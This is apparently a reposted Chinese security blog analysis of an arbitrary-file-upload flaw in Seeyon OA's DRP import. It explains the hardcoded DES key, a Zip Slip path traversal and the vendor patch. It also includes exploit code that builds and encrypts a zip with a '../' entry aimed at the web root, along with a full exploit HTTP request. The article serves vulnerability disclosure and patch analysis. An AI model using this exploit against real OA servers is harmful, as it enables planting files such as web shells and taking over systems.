某OA近期漏洞分析

admin 2025年1月2日23:28:23评论5 views字数 2745阅读9分9秒阅读模式

1 漏洞说明

uploadDRP进进行数据文件导入时未对文件安全性进行校验,导致任意文件上传。

漏洞编号

220706-S005

影响版本

  • A6、A8、A8N的V5.6~V8.1SP1全系列版本

漏洞等级

高危

2 漏洞详情

漏洞类位置——》com/seeyon/apps/dee/controller/DEEDeployDRPController.class

某OA近期漏洞分析

第六行开始处理表单数据,首先判断表单文件名是不是drpFile,然后再判断上传的文件名是不是以drp结尾。

前面基础参数校验通过后,会来到第15行,调用一个decryptDrpFile方法,通过方法名了解到是解密drp文件的。

某OA近期漏洞分析

第二行可以看出,是调用的DES解密,然后传入的KEY为:drp_encrypt

后面代码逻辑就是读取表单传送的file数据内容,然后利用CipherOutputStream去解密。

然后将解密好的内容写入到deeNewPath,一个临时的路径里面

回到uploadDRP中,解密好后,第16-22行是读取配置文件判断是否为集群环境,一般我们都不是,所以直接走到第24行代码。

ZipUtil.unZip(new File(deeNewPath), tmpDirectory);
这段代码就是进行解压操作,参数为解密后的drp文件路径。
我发现这段代码也是致远自己写的,类为com/seeyon/v3x/dee/util/ZipUtil.class

某OA近期漏洞分析

这里的解压zip文件是个很简单易懂的操作,就不过多赘述,只要压缩包的文件名有../这种类型,就可以跨目录解压,具体技术参考Zip Slip漏洞。
最终的压缩包内容必须包含dee.xml和dee-resource.properties这两个文件。
可以在后台自行导出并且解密出来保存。

某OA近期漏洞分析

至此,漏洞分析就差不多了,ZIP解压跨目录这类漏洞在很多应用系统中都会出现。

最终漏洞利用的话我们需要制作一个利用DES加密后的数据包

正常上传解压成功后的返回数据为:

{"code":502,"retMsg":"上传失败!"}

在BURP直接Paste from file发送该drp文件内容,会返回

{"code":502,"retMsg":"导入失败,请选择正确的drp包!"}

分析后发现在unzip解压drp解密后的数据时,识别不了内容为ZIP压缩包。

但在后台进行点击导入操作发送的包才可以,具体原因我发现在后台进行导入时,数据包大小Content-Length要比BURP发包小一倍左右。

直接用一段JAVA代码来发送,方便又快捷。

举例,具体代码自行实现。

drp数据包内容:

zipBody = zipBytesTo("seeyonsectest".getBytes(StandardCharsets.UTF_8), "../../../ApacheJetspeed/webapps/seeyon/" + fileName, DEE_XML          .getBytes(StandardCharsets.UTF_8), "dee.xml", "".getBytes(StandardCharsets.UTF_8), "dee-resource.properties");      DesUtil desUtil = new DesUtil("drp_encrypt");      zipBody = desUtil.encryptByte(zipBody);

发包:

private HttpResult postFile(String url, String path, byte[] zipBody) throws IOException {    this.httpDriver.setUri(url + path);    MultipartEntityBuilder builder = MultipartEntityBuilder.create().addBinaryBody("drpFile", zipBody, ContentType.create("application/octet-stream"), "z.drp");    builder.setMode(HttpMultipartMode.BROWSER_COMPATIBLE);    this.httpDriver.getHeader().remove("Content-Type");    this.httpDriver.setHttpEntity(builder.build());    return this.httpDriver.post();  }

3 漏洞EXP

登录后

POST /seeyon/deeDeployDRPController.do?method=uploadDRP HTTP/1.1Accept: */*Content-Length: 3070Content-Type: multipart/form-data; boundary=AIvvJ1pyEL_HYutD-JzEPsPXj4vEp3BsVaZNP2jHost: 192.168.91.17Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)Cookie: JSESSIONID=7494FE84EA8FE2617DFBB8D3BC39BCB0; hostname=192.168.91.17:80; login_locale=zh_CNAccept-Encoding: gzip,deflate--AIvvJ1pyEL_HYutD-JzEPsPXj4vEp3BsVaZNP2jContent-Disposition: form-data; name="drpFile"; filename="z.drp"Content-Type: application/octet-streamdrp数据包内容--AIvvJ1pyEL_HYutD-JzEPsPXj4vEp3BsVaZNP2j--

4 漏洞补丁

某OA近期漏洞分析

补丁包中新增了一个ReadFileHead类,用来判断上传的文件是否为drp。

某OA近期漏洞分析

还有ZipUtil多了个copyUnZip方法,代码在23-24行处理文件名,替换文件名中的斜杠,在27行判断文件名是否有斜杠,其他的跟unzip方法差不多。

某OA近期漏洞分析

并且在uploadDRP中进行了替换,将原本的unzip换成了copyUnZip。

某OA近期漏洞分析

补丁简单粗暴的将压缩包中的文件名../给处理了,从而修复漏洞。:)

5 参考资料

https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=127

原文始发于微信公众号(渝安服):某OA近期漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日23:28:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某OA近期漏洞分析https://cn-sec.com/archives/1851487.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息